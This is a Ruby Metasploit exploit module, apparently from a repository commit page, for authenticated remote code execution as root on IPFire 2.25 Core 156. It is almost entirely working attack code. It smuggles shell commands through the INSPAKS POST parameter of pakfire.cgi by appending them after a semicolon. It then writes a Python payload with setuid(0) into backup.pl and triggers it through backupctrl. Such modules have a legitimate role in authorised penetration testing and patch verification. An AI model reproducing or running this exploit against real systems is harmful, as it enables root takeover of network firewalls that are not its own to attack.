8e16d4a1c7
Signed-off-by: MucahitSaratar <trregen222@gmail.com>
122 lines
3.9 KiB
Ruby
122 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ipfire 2.25 core 156 remote code execution',
|
|
'Description' => %q{This exploit execute arbitrary code on ipfire 2.25 core 156 as root.},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Mücahit Saratar <trregen222@gmail.com>', # vulnerability research & exploit development
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '49869' ],
|
|
[ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'],
|
|
[ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'],
|
|
],
|
|
'Platform' => ['python'],
|
|
'Privileged' => true,
|
|
'Arch' => ARCH_PYTHON,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2021-06-22',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(444),
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD', [ true, 'Password to login with', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
def vpath
|
|
'/cgi-bin/pakfire.cgi' # vulnerable path
|
|
end
|
|
|
|
def send_packet(method, execstr = 'sleep 10', waitsec = 20)
|
|
myheaders = {
|
|
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
|
'Cache-Control' => 'max-age=0',
|
|
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
|
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
|
'Sec-GPC' => '1',
|
|
'Sec-Fetch-Site' => 'same-origin',
|
|
'Upgrade-Insecure-Requests' => '1',
|
|
'Sec-Fetch-Mode' => 'navigate',
|
|
'Sec-Fetch-User' => '?1',
|
|
'Sec-Fetch-Dest' => 'document',
|
|
'Accept' => '*/*',
|
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/",
|
|
'Accept-Encoding' => 'gzip, deflate',
|
|
'Accept-Language' => 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
|
|
'Connection' => 'keep-alive'
|
|
}
|
|
if method == 'GET'
|
|
response = send_request_cgi(
|
|
'uri' => vpath,
|
|
'headers' => myheaders,
|
|
'SSL' => true,
|
|
'timeout' => waitsec
|
|
)
|
|
else
|
|
response = send_request_cgi(
|
|
'uri' => vpath,
|
|
'headers' => myheaders,
|
|
'SSL' => true,
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'INSPAKS' => "7zip-edited;#{execstr}",
|
|
'ACTION' => 'install',
|
|
'x' => '7',
|
|
'y' => '10'
|
|
},
|
|
'timeout' => waitsec
|
|
)
|
|
end
|
|
return response
|
|
end
|
|
|
|
def check
|
|
cevap = send_packet('GET', '', 15)
|
|
@version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
|
|
@core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
|
|
unless @version
|
|
return CheckCode::Safe('Target is not IPFire')
|
|
end
|
|
if @core.to_i >= 157
|
|
return CheckCode::Safe("IPFire #{@version} (Core Update #{@core}) is not vulnerable")
|
|
end
|
|
|
|
CheckCode::Appears("IPFire #{@version} (Core Update #{@core}) appears vulnerable")
|
|
end
|
|
|
|
def exploit
|
|
send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1)
|
|
print('.')
|
|
send_packet('POST', "echo \"__import__('os').setuid(0)\" >> /var/ipfire/backup/bin/backup.pl", 1)
|
|
print('.')
|
|
send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1)
|
|
print('.')
|
|
send_packet('POST', '/usr/local/bin/backupctrl', 1)
|
|
print('.')
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|